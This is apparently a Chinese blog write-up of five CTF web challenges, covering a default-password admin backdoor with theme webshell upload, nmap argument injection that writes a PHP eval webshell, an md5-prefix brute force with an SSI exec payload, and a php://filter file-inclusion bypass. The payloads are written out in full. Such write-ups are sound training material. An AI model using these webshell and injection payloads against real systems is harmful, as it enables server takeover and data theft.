2020-08-10
9号是个懒狗没做题
[GKCTF2020]老八小超市儿
打开之后各种瞎点没有思路,大佬wp告诉我这种时候就要找管理后门,后门地址/admin.php,用户admin密码shopxo。
登录之后主题插马,先下载一个默认主题,将马插到里面再上传
之后从主页图片看到页面地址
http://8c45f2f9-5337-49d1-921b-2c712fe6aa66.node3.buuoj.cn/public/static/index/default/test.php
蚁剑连上
根目录找到 一个假的flag
然后看hint和auto.sh,看到auto.sh自动执行py文件打开看看
发现可以读取根目录,加上打开真flag的语句
之后在flag.hint看到flag
[网鼎杯 2020 朱雀组]Nmap
这题和之前online tool类似
直接传payload,这里传.php被过滤了于是传phtml
127.0.0.1 ' <?= @eval($_POST["ta3shi"]);?> -oG test.phtml '
试着连一下
成功,扫一下目录
拿flag
[BJDCTF2020]EasySearch
存在.swp泄露源码
<?php
ob_start();
function get_hash(){
$chars = 'aaa@qq.com#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
验证密码的md5值前六位等于'6d0bc1'成功之后创建一个shtml文件地址存放在响应头里
写个验证密码的脚本
from hashlib import *
for i in range(1,100000000):
if (md5(str(i)).hexdigest().startswith('6d0bc1')):
print(i)
得到几个密码值,随便一个都可以
看到地址,然后这里username处存在ssi注入(引用自引用)
(shtml是一种基于SSI技术的文件。SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)
(SSI注入的条件:
1.Web 服务器已支持SSI(服务器端包含)
2.Web 应用程序未对对相关SSI关键字做过滤
3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)
传入payload
<!--#exec cmd="find / -name 'flag*'"-->
得到
cat最后一个即可
[BSidesCF 2020]Had a bad day
试一下直接包含报错,试着
发现自动加了php
看看flag
多了一个但是没有什么用,试试读取源码
category=php://filter/convert.base64-encode/resource=index
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
那么最终payload,中间包含了一个index,第一次见到这种嵌套
category=php://filter/convert.base64-encode/index/resource=flag
解码得到flag
[BJDCTF 2nd]Schrödinger
翻译一下先(红字部分本来是白色的)
试一下输入http://127.0.0.1/test.php
check并抓包
发现cookie的dXNlcg经过base64解码是时间戳,改为dXNlcg=0发包
去b站找到这个视频翻几页,暴打出题人
上一篇: Handler消息机制